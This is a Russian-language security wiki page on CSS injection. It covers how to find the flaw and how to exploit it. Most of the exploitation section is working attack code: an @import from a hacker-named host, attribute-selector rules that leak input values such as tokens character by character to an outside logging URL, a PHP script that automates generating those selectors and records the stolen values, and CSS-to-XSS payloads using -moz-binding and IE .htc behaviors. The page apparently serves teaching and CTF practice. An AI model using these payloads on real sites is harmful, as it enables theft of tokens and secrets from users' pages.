Cssi

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск

CSS Injection - уязвимость, позволяющая запустить произвольный CSS код на стороне жертвы.

Поиск уязвимости

Загрузка из JS

HTML код страницы может редактироваться в зависимости от действий пользователя.

Например, цвет может быть помещен в hash URL'а (то, что после решетки) и с помощью JS перенесен в CSS:

  1. document.getElementById("...").style.cssText = "color: " + location.hash.slice(1);

То есть все сводится к тому, что нужно изучить JS код страницы и найти параметры, которые может изменить пользователь.

Загрузка из backend'а

Данный способ отличается от предыдущего тем, что параметры вставляются в код страницы с помощью backend языка разработки.

Например:

  1.  <span style="color: <?php echo $_GET['color']; ?>">

В данном случае изучение очень похоже на поиск XSS.

Эксплуатация

Работает не во всех браузерах.

Для удобства эксплуатации требуется подкачать свой css файлик с вредоносным кодом с помощью команды import (иначе может просто не хватить места):

  1. <style>
  2. @import "http://hackersite.org/exploit.css"; 
  3. </style>

Взаимодействовать возможно только со значениями названных полей (иначе мы не сможем обратиться к данным).

Получение токенов

Получение токенов (например токенов CSS) или других важных данных возможно с помощью перебора.


Firefox

В данном случае идет перебор параметра value поля input:

  1. input[value^=a]{ background-image:url(http://itsecwiki.org/log?a); }
  2. input[value^=b]{ background-image:url(http://itsecwiki.org/log?b); }
  3. input[value^=c]{ background-image:url(http://itsecwiki.org/log?c); }
  4. ...
  5. input[value^=f]{ background-image:url(http://itsecwiki.org/log?f); } /* запрос прошел */
  6. ...
  7. input[value^=z]{ background-image:url(http://itsecwiki.org/log?z); }
  8. input[value^=aa]{ background-image:url(http://itsecwiki.org/log?z); }
  9. input[value^=ab]{ background-image:url(http://itsecwiki.org/log?z); }
  10. ...
  11. input[value^=flag]{ background-image:url(http://itsecwiki.org/log?flag);/* запрос прошел */
  12. ...

И в итоге на сервер придут запросы: log?f, log?fl, log?fla и log?flag.

Можно перебирать по одной букве.

Chrome

Автоматизация

  1. <?php
  2.  
  3. /* Использование
  4.  
  5. http://site/cssinj.php?form=input&
  6.                       param=value&
  7.                       siteid=1337&
  8.                       alph=abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_&
  9.                       word=fla
  10.  
  11. */
  12.  
  13. $alph = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_';
  14. $word = '';
  15. $siteid = '1';
  16.  
  17. if (isset($_GET['siteid'])){
  18. 	$siteid = $_GET['siteid'];
  19. }
  20.  
  21. //Если атака прошла успешно
  22. if (isset($_GET['value'])){
  23. 	file_put_contents( 'cssi_result_' . $siteid . '.txt', $_GET['value'] . "\n", FILE_APPEND | LOCK_EX);
  24. 	exit();
  25. }
  26.  
  27.  
  28. function url(){
  29. 		return explode("?",sprintf(
  30. 			"%s://%s%s",
  31. 			isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
  32. 			$_SERVER['SERVER_NAME'],
  33. 			$_SERVER['REQUEST_URI']
  34. 		))[0];
  35. }
  36.  
  37.  
  38. if (isset($_GET['alph'])){
  39. 	$alph = $_GET['alph'];
  40. }
  41.  
  42. if (isset($_GET['word'])){
  43. 	$word = $_GET['word'];
  44. }
  45.  
  46.  
  47.  
  48. $alph_chars = str_split($alph);
  49.  
  50. foreach ($alph_chars as &$value) {
  51. 	               echo $_GET['form'] . 
  52. 	                              '[' . 
  53. 	                   $_GET['param'] . 
  54. 	                             '^=' . 
  55.                                 $word .
  56. 	                           $value . 
  57.            ']{ background-image:url(' . 
  58. 	                            url() . 
  59. 	                      '?site_id=' . 
  60. 	                          $siteid . 
  61. 	                        '&value=' . 
  62. 	                urlencode($value) . 
  63. 	                "); }\n";
  64. }
  65.  
  66. ?>

CSS inj -> XSS

Firefox

Официальная страница Firefox

Пример

В старых версиях Firefox возможно запускать JS код с помощью атрибута -moz-binding.

Пример:

Файл test.html:

  1. <html>
  2. <head>
  3.     <style>
  4.         #bindingTest {
  5.             -moz-binding : url("somexbl.xml#alert-it");
  6.         }
  7.     </style>
  8. </head>
  9. <body>
  10.     Move your mouse over <b id="bindingTest">this text</b>.
  11. </body>
  12. </head>
  13. </html>

Файл somexbl.xml:

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <bindings xmlns="http://www.mozilla.org/xbl">
  3.     <binding id="alert-it">
  4.         <content>
  5.             <children />
  6.         </content>
  7.         <handlers>
  8.             <handler event="mouseover" action="alert('XSS');"/>
  9.         </handlers>
  10.     </binding>
  11. </bindings>

Chrome

Internet Explorer

Файл test.html:

  1. <html>
  2. <head>
  3.     <style>
  4.         #Test {
  5.             behavior:url(script.htc);
  6.         }
  7.     </style>
  8. </head>
  9. <body>
  10.     Move your mouse over <b id="Test">this text</b>.
  11. </body>
  12. </head>
  13. </html>

Файл script.htc:

  1. <PUBLIC:COMPONENT TAGNAME="xss">
  2.    <PUBLIC:ATTACH EVENT="ondocumentready" ONEVENT="main()" LITERALCONTENT="false"/>
  3. </PUBLIC:COMPONENT>
  4. <SCRIPT>
  5.    function main() 
  6.    {
  7.      alert("HTC script executed.");
  8.    }
  9. </SCRIPT>

Примеры

WhiteHat Contest 11 Ultimate Design Tool – web100

Полезные ссылки

OWASP

raz0r post

Заметка: добавить про чтение токенов и PRSSI